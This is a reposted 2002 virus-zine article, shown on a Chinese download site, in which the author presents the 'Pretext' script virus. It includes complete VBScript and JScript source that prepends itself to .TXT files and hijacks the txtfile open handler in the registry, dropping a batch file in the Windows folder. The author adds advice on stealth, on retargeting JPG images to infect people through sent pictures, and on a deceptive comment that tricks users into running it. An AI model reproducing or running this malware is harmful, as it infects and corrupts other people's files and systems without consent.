⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 29a-7.010

📁 从29A上收集的病毒源码
💻 010
字号:

                         Replication from data files
                              roy g biv / defjam

                                 -= defjam =-
                                  since 1992
                     bringing you the viruses of tomorrow
                                    today!


About the author:

Former  DOS/Win16  virus writer, author of several virus  families,  including
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better
sources  ;),  and Virus Bulletin 9/95 for a description of what   they  called
Rainbow.   Co-author  of  world's first virus using circular  partition  trick
(Orsam, coded with Prototype in 1993).  Designer of world's first XMS swapping
virus  (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped  out).   Author of world's first virus using Thread Local Storage  for
replication  (Shrug, see Virus Bulletin 6/02 for a description, but they  call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication  (OU812), world's first Native executable virus (Chthon),  world's
first  virus  using process co-operation to prevent termination (Gemini),  and
world's  first  virus  using polymorphic SMTP headers (Junkmail).   Author  of
various  retrovirus  articles (eg see Vlad #7 for the strings that  make  your
code  invisible to TBScan).  Went to sleep for a number of years.  This is  my
first virus for VBScript and JScript.  They are the world's first viruses that
can convert any data files to infectable objects.


Code and Data

Executable  files  are, obviously, directly executable.  This also means  that
code  added  to these files can be executed directly.  Can the same  thing  be
done for data files?  No.  That is why they are called data files. :)

However,  what  can  be done is to change the environment so that  data  files
become  executable  files.  Then code can be added to these files that can  be
executed directly.


First attempt

Let us decide to infect .TXT files.  We can change the environment to run .TXT
files  as executable binary files, by dropping an additional executable binary
file  and  changing  the registry to run this file instead.  This  file  calls
WinExec()  to run the .TXT file as executable binary code.  There is a serious
problem  with  this method.  The problem is that not-infected files can  crash
the computer when the text is run as binary code.


Second attempt

We  must use a different type of code and a different way to run it.  The code
type  is text, and the way to run it is as .BAT or *Script (either VBScript or
JScript).   If we think about .BAT, then we know immediately that .BAT is  not
good because it has a 64kb limit.  So the answer is *Script.

If  we  prepend a script to .TXT files, then we can change the environment  to
use  the  Windows Scripting Host to run the script and no need for  additional
file.   What about clean files?  They are still a problem, but now the problem
is  different.   If  we try to run a clean file, then the  computer  will  not
crash, only the clean file will not be displayed anymore.  Only infected files
can be displayed.  Also, new files cannot be created and existing files cannot
be altered.


Third attempt

We  can solve this problem by using the additional file again.  The additional
file  can  be binary or .BAT or *Script file.  That file will use the  Windows
Scripting  Host  to try to run the .TXT file as a script, then to display  the
file  as  usual.  All of those problems are solved.  If the file is  infected,
then  our code will clean the host so it will display correctly.  If the  file
is  clean already, then it will also display correctly.  The technique can  be
applied  to  any  file  type with only a few changes to the  code.   Only  one
problem remains: how can we prepend a script to any other file without causing
scripting errors?


Final attempt

The  solution  to  this problem is what I call  "tar-script". :)   Microsoft's
scripting engines calculate the length of a script by using strlen() function.
This  means that when a 0 is found, no more file is examined, so if our script
ends with a 0 then we can append anything to it and no errors will happen.

Using  the prepending technique is unique because even if our additional  file
is  deleted,  our code can still be run from the data files, only it  requires
user support.  If user runs the file using WSH or renames the extension to the
scripting  language that we use, then we become virus again.  Place comment on
first line:

"This is config file. Run cscript <filename> //e:xxx to configure your system"
and replace xxx with "vbs" or "jscript", depending on the language. ;)

But what happens if the clean file contains a viral script?  Heh, it runs.

Let's  see the code.  It requires WSH v5.1+ because we must specify the engine
to use.  First is VBScript version.


'Pretext - roy g biv 24/06/02
set a=createobject("scripting.filesystemobject")
b=wscript.scriptfullname                        'no dim needed for local variables
on error resume next
set c=a.opentextfile(b)                         'open host
d=c.read(996)                                   'read virus code.  996 is size of virus with no comments or spaces
set e=a.getfile(b)                              'get our file object
f=c.read(e.size-996)                            'read rest of host file
                                                'if you change the size of code, then you must change both of these values
c=e.attributes                                  'save attributes
e.attributes=0                                  'remove any read-only attribute
set g=a.opentextfile(b,2)                       'open host for writing
if err.number=0then
  g.write f                                     'restore host. is world's first full stealth script virus? ;)
end if
e.attributes=c                                  'restore attributes
set c=a.getfolder(".")                          'demo version, current directory only
for each e in c.files
  if b<>e and lcase(a.getextensionname(e))="txt"then
                                                'this can be changed to any extension
                                                'and see below for registry key to change
    err=0
    set f=a.opentextfile(e,1)                   'open potential victim
    if err.number=0then
      g=f.read(1)                               'read first character
      if g<>"'"then                             'check for infection marker
        h=f.readall                             'read entire file
        i=e.attributes                          'save attributes
        e.attributes=0                          'remove any read-only attribute
        err=0
        set j=a.opentextfile(e,2)               'open file for writing
        if err.number=0then
          j.write d+g+h                         'prepend to file
          j.close                               'close file (write mode)
        end if
        e.attributes=i                          'restore attributes
      end if
      f.close                                   'close file (read mode)
    end if
  end if
next
set b=createobject("wscript.shell")
c="HKLM"
d="\software\classes\txtfile\shell\open\command\"
e=b.regread(c+d)                                'read current handler
f="pretext.bat"
g=f+" %1"
if e<>g then                                    'check for infected environment
  h=a.getspecialfolder(0)                       '%windir%
  if right(h,1)<>"\"then
    h=h+"\"                                     'add \ if required
  end if
  a.opentextfile(h+f,2,1).write"@cscript %1 //e:vbs //b //nologo"+vbcr+vblf+"@"+e
                                                'create and write our additional file in %windir%
                                                'more stealth: original handler will be used to display file
  b.regwrite c+d,g                              'alter registry to infect environment
  b.regwrite"HKCU"+d,g                          'Windows 2000/XP look in HKCU before HKLM
                                                'so we alter that key, too
end if
<0 here>


Now is JScript version.


//Pretext - roy g biv 24/06/02
a=new ActiveXObject("scripting.filesystemobject")
try
{
  c=a.opentextfile(b=WScript.scriptfullname)    //open host
  d=c.read(944)                                 //read virus code.  944 is size of virus with no comments or spaces
  e=a.getfile(b)                                //get our file object
  f=c.read(e.size-944)                          //read rest of host file
                                                //if you change the size of code, then you must change both of these values
  c=e.attributes                                //save attributes
  e.attributes=0                                //remove any read-only attribute
  a.opentextfile(b,2).write(f)                  //open and write host
                                                //if VBS version is first full stealth script then this is second ;)
  e.attributes=c                                //restore attributes
}
catch(z)
{
}
for(c=new Enumerator(a.getfolder(".").files);!c.atEnd();c.moveNext())
                                                //demo version, current directory only
{
  e=c.item()
  if(b!=e&&a.getextensionname(e).toLowerCase()=="txt")
                                                //this can be changed to any extension
                                                //and see below for registry key to change
    try
    {
      f=a.opentextfile(e,1)                     //open potential victim
      g=f.read(1)                               //read first character, keep for later
      if(g!="/")                                //check for infection marker
        try
        {
          h=f.readall()                         //read entire file
          i=e.attributes                        //save attributes
          e.attributes=0                        //remove any read-only attribute
          j=a.opentextfile(e,2)                 //open file for writing
          j.write(d+g+h)                        //prepend to file, append first character and host
          j.close()                             //close file (write mode)
          e.attributes=i                        //restore attributes
        }
        catch(z)
        {
        }
      f.close()                                 //close file (read mode)
    }
    catch(z)
    {
    }
}
b=new ActiveXObject("wscript.shell")
c="HKLM"
d="\\software\\classes\\txtfile\\shell\\open\\command\\"
e=b.regread(c+d)                                //read current handler
f="pretext.bat"
g=f+" %1"
if(e!=g)                                        //check for infected environment
{
  h=a.getabsolutepathname(a.getspecialfolder(0))
                                                //%windir%
  if(h.charAt(h.length-1)!="\\")
    h+="\\"                                     //add \ if required
  a.opentextfile(h+f,2,1).write("@cscript %1 //e:jscript //b //nologo\r\n@"+e)
                                                //create and write our additional file in %windir%
                                                //more stealth: original handler will be used to display file
  b.regwrite(c+d,g)                             //alter registry to infect environment
  b.regwrite("HKCU"+d,g)                        //Windows 2000/XP look in HKCU before HKLM
                                                //so we alter that key, too
}
<0 here>


Now let us decide to infect .JPG files instead of .TXT files.  How to do that?
Simply  change the extension from "txt" to "jpg" then change the registry  key
from  'txtfile'  to 'jpegfile'.  We must also increase the size of code  by  1
byte  because  'jpegfile'  is 1 byte larger than 'txtfile'.  That's  all.   We
infect  .JPG files, we replicate from .JPG files and they still display on  an
infected  computer.  Make dropper by renaming extension.  After run, rename to
.JPG.  So now you can infect people by sending a picture file.


Greets to:

RT Fishel               what will we do next?
VirusBuster             hoping for 29A#7 :)
Ultras                  waiting for MTX#4 ;)
Prototype               see you in the next life
The Gingerbread Man     ...actus rium non facit nici.  mens ria sit


rgb/defjam jun 2002
iam_rgb@hotmail.com

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -